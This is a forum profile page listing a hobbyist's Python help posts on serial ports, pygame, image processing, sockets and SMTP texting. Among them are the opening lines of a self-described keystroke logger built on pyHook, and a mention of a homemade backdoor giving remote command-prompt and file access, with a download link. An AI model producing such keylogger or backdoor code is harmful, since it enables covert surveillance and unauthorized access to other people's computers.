- Strength to Increase Rep
- +7
- Strength to Decrease Rep
- -1
- Upvotes Received
- 40
- Posts with Upvotes
- 36
- Upvoting Members
- 20
- Downvotes Received
- 3
- Posts with Downvotes
- 3
- Downvoting Members
- 3
I love computers. And I love learning. The only problem I face is time isn't cheap.
I curently work at Subway until I am done with school. I am the sub slinging master!!!!!
- Interests
- I like to draw, script, have fun, and spend time with vanessa =) I have a few microcontrollers also,…
- PC Specs
- HP Pavilion. Windows 7 64bit/BackTrack4 VMware, 2.00 GHz, 4 gigs of ram. 280 gig C:, the video card…
162 Posted Topics
Re: for the width try [CODE] import os os.system("mode con cols=50") [/CODE] and for the length [CODE] os.system("mode con lines=20") #you could also combine them os.system("mode con cols=50 lines=20") [/CODE] Play around with the numbers until ya find a size you like. This is windows only. | |
Re: You don't want to use batch for a server. There is no threading capabilities for such a task. You will want a language that has a strong web development base, such as python or php. | |
Re: Have some fun with the SendKeys module? A script to log you into your favorite website? [url]http://www.rutherfurd.net/python/sendkeys/[/url] | |
Re: I think some tutorials found through google would suffice. Everything you need to know is already on the net. But if you want a physical book in front of you, O'Reilly makes some pretty good books as well. [URL="http://oreilly.com/python/"]Some found here.[/URL] Also if you want to get into some hacking … | |
Re: What about an example of using the webbrowser as the frontend? I use some pen-testing suites that use html as the GUI. Here is an example, kind of ugly since it is just to demonstrate what you can do. Also, I am no web developer so the html was mostly … | |
Re: I posted a snippet on IRC stuff. Could help with the protocol commands. I don use regex though, so its a bit messy with all the splitting and stripping. [URL="http://www.daniweb.com/code/snippet297621.html"]link[/URL] Mine is more of a functional bot, not AI. It supports texting a cellphone, and translating languages via xgoogle. | |
Re: Did you install from a binary or from source? | |
Re: It keeps clearing the text file because your passing the "w" to the open method. "a" appends data to the end while keeping everything else untouched. As for the data changing, why not use pickle? It would be easier that way. The best I can figure it, is to first … | |
Re: There is another way. Maybe try using os.popen()? You could for i in listdir("path-to-dir"): os.popen("move "+i+"other-dir") Idk that's just my take on it. | |
Re: Also, if you want to get into network programming, it would help to know more about networking in general. Learn the OSI model and how the different layers work. | |
Re: [QUOTE=ohmang841;1163926]Hi guys...I'm new to python so I've no idea what I'm doing but I need to write a function that 1) asks the user how many strings they would like to input. 2)Stores the strings in a list 3) sorts the list 4) Displays the sorted list 5) Displays the … | |
Re: I don't know what your trying to connect to, but here is an example to open a COM, receive data, send data and close. [CODE] import serial #Use the COM port you are trying to use #also set the baud at object creation ser = serial.Serial('COM8', baudrate=19200) #treat like a … | |
Re: Try serial.Serial("COM3") or the port you need. | |
Re: Blender has python built in. In the newer versions of Blender, there is even a python console interpreter built right into the scripting section for quick easy debugging and prototyping. [URL="http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Advanced_Tutorials/Python_Scripting/Export_scripts"]Here[/URL] is a tutorial with getting started with Blender and Python. As for actually converting the image, I can't help. … | |
Re: Look into port forwarding. You will have to log into your router and set it up there. [URL="http://portforward.com/"]Here [/URL]is a link to help ya out. | |
![]() | Re: Are you looking for something like Visual Studios by Microsoft so you have a GUI for building other GUIs for local apps. Or do you want something like Dreamweaver and build forms for websites? |
| |
Re: As mentioned [URL="http://code.google.com/p/android-scripting/"]Sl4a.[/URL] You will need to install [URL="http://code.google.com/p/android-scripting/downloads/detail?name=PythonForAndroid_r4.apk&can=2&q="]python for android[/URL], which now is a different project and offers 3rd party libs like Twisted. You can [URL="http://code.google.com/p/android-scripting/wiki/SharingScripts"]compile[/URL] your scripts and distribute on the android market as you please. I would suggest just learning Java and writing apps the [I]right[/I] way. … | |
This will allow you to login a website with python. After logging in, you now have access to all the pages for "members only" accessed with python. Could be handy for a myspace update program, webcrawlers, facebook(not recommended, facebook doesn't like scripts), and other things. Some knowledge of HTML is … | |
Re: I'm not sure about python itself doing it, but the way I would approach it would be to use an external program to do the actual video encoding. You could call it from python after you saved as many image files you wanted with your method of grabbing the images. … | |
Re: I would suggest putting the stick figure in a class that has an update method. The update will raise and lower the stick figures y position up and down. You will also need a while loop for the main code, so you can call the update method you created. You … | |
Re: You could dive into some frameworks you can do nifty things with. Like [URL="http://twistedmatrix.com/trac/"]Twisted[/URL], [URL="http://www.pythonware.com/products/pil/"]PIL[/URL], [URL="https://www.djangoproject.com/"]Django[/URL], [URL="http://opencv.willowgarage.com/wiki/PythonInterface"]OpenCV[/URL], or take some of [URL="http://en.wikipedia.org/wiki/List_of_algorithms"]these[/URL] algorithms and code them in python. The skys the limit. One of the first useful things I did with python was tracking an IR light source with my … | |
Re: [QUOTE=sathyapro;1683905]hi thanks for the reply.. but i couldn,t get any copy of that book in any link.. pls send the link which contains that book if u ve found any.. i m using python 2.7 version for windows[/QUOTE] You can buy the book [URL="http://shop.oreilly.com/product/9780596513986.do"]here.[/URL] You could also read an online … | |
Re: I wrote a key logger myself. I use pyHook and pythoncom from the pywin module. Here is the link [url]http://www.daniweb.com/forums/post1011963.html#post1011963[/url] | |
Re: It is to initialize things your going to need in the class. It is also where you receive the parameters the class needs. Anything you see that looks like "self.name" can be used by the methods inside the class. | |
Re: Look in the LocationFacade [URL="http://code.google.com/p/android-scripting/wiki/ApiReference"]here.[/URL] | |
Re: To get the events you need to have them all together. [CODE] #Events for event in pygame.event.get(): if event.type == pygame.QUIT: keepGoing = False# if event.type == pygame.KEYDOWN: if event.key == pygame.K_RIGHT: direction = "right" if event.key == pygame.K_LEFT: direction = "left" #etc.... #put all the "key" events under the … | |
There isn't a whole lot here about security related stuff, so I figured I would post some work in progress. It is pretty well commented so following it should be pretty simple. The full story and reasons for doing what I did, and not another way can be found on … | |
Re: Function 1: read in morse file (was passed as argument) create dict fromMorse: example {".-":"a" , "-...":"b" , etc...} creat dict toMorse: example {"a":".-" , "b":"-..." , etc...} return both as tuple Function 2: I don't know the contents of the .txt using arguments supplied map the word to the … | |
Re: You could use any GUI toolkit you want really. You could even create an html page and serve it via python. I have an example in the sticky GUI thread at the top of the python forums. Last I checked it was the last post in that thread. | |
Re: The simplest way I would do it is check if "ch" was a blank space and then just skip it. Your program, however, states to not use a space and to provide a first or last name only. Example 1(ignore space): [CODE] def main(): print "This program calculates a numeric … | |
Re: Like pyTony stated, we wont [B]do[/B] your homework; only help with what you have. As I have stated in previews post like this one, I will do your homework, but not for free. Something this simple I will only charge around $40 USD. | |
Re: I found [URL="http://code.google.com/p/jython-for-android/"]this[/URL], don't know if it will help or not. I don't use jython and would imagine that you would still need to know a bit about java. Hope that helps. | |
Re: PySerial doesn't have a method of readall(). You will have to use readline(), readlines(), or xreadlines(). You can find a list of methods and how to use them [URL="http://pyserial.sourceforge.net/pyserial_api.html#module-serial"]here.[/URL] | |
Re: The android SDK isn't set up to run python per-say. Python for android runs through Android Scripting Environment (ASE). You can find more information on ASE at there [URL="http://code.google.com/p/android-scripting/wiki/UserGuide"]website.[/URL] They have plenty of [URL="http://code.google.com/p/android-scripting/wiki/Tutorials"]tutorials.[/URL] Most libs that are native python code will work. You can't embed any C, or do … | |
Re: And to send text messages via the same methods. [URL="http://www.notepage.net/smtp.htm"]Here[/URL] is a link for the recipient address for different carriers. [CODE] import sys import smtplib def send(body, to = "3045555555@txt.att.net", username = "yourMail@gmail.com", password = "012345"): mail_server = smtplib.SMTP("smtp.gmail.com", 587) mail_server.ehlo() mail_server.starttls() mail_server.ehlo() mail_server.login(username, password) mail_server.sendmail(username, to, body) mail_server.close() if … | |
Re: I second Pygame, but I would use [URL="http://www.pythonware.com/products/pil/"]PIL[/URL] for the image processing. You can cut up the image, splice, convert to greyscale and much more. | |
Re: For a winsound example of a simple tone. [CODE] import winsound, random winsound.Beep(random.randint(900,2750),100) #plays random tone [/CODE] Assuming you are using windows. | |
Written in python2.6 I know there are a lot of key loggers out there, but i wanted to try my hand at it. It works like a charm =) [code] #Key Logger #By: K.B. Carte #Version 1.0 ################ import pythoncom, pyHook, sys, logging LOG_FILENAME = 'path\to\log.out' def OnKeyboardEvent(event): logging.basicConfig(filename=LOG_FILENAME, level=logging.DEBUG, … | |
Re: To answer the original question about how to use lambda I give the following examples. Without lambda: [CODE] def l(blah): print blah*5 l("f") [/CODE] Regular lambda: [CODE] l = lambda blah: blah*5 print l("f") [/CODE] To pass things to a lambda function when you define it: [CODE] print (lambda x: … | |
Re: You can open ports by binding a server to them. [code] #create socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #bind to localhost at port 1002 s.bind(('',1002)) while 1: #accept up to 5 connections s.listen(5) #get connection object and address conn, addr = s.accept() #grab the data if any data = conn.recv(100) … | |
Re: Wow, people here are really nice. If this where any other forum, [B]I[/B] would feel the burn from the flaming lol. As stated before HTML is not a programming language, it was created to present data, not calculate it. If you want to start from the roots, then you need … | |
Re: You really shouldn't use those ports. You should use a really high arbitrary four digit port for personal use. The lower ones are reserved for services and such. | |
Re: I use [URL="http://www.pythonware.com/products/pil/"]PIL[/URL] and [URL="http://pygame.org/news.html"]pygame[/URL] for image processing stuff. The best way to grab pixel data from PIL is: [code] import Image im = Image.open("image.jpg") #some redundant size variables, this is ugly and an example only res = im.size xres = im.size[0] yres = im.size[1] for x in range(0,xres): for … | |
Re: The Iphone has more going on in the background that a simulator does, plus it has to handle all the touch-events, sensor data, cell network stuff as well. The simulator also tries to limit it spec, but the computer running the simulator will make the simulator itself much faster. | |
Re: Your not actually deleting anything from the file. You will need python to read the file, find the line to delete, remove it from the list, and save the new file. As for sorting, check [URL="http://stackoverflow.com/questions/1870541/quickly-alphabetize-a-large-file-via-python"]this[/URL] out. Also, here on Daniweb, there are sorting questions, and I think a snippit … | |
Re: You wont be able to do it with just the usb cable, a microcontroller will be needed to handle all the serial data. You could use the parallel port to do this, though I haven't done it myself. [CODE] import serial #your COM port will be different s = serial.Serial("COM8") … | |
Re: [QUOTE=danstinebaugh;1574535][code=bash]telnet ip.of.the.server port[/code] Just telnet into it :)[/QUOTE] I think they figured it out after 3 years lol. | |
Re: I don't know about remote desktop, but I've written a backdoor that gives me full access to the target command prompt, and two way file transfer. I didn't use anything but the standard library. Just sockets and os. Here is the link [url]http://techb.zxq.net/BackDoor.zip[/url] and don't worry, it is just the … | |
Re: I have a facial recognition example here on daniweb. It doesn't use OpenCV though. [URL="http://www.daniweb.com/software-development/python/code/265987"]Found here.[/URL] |
The End.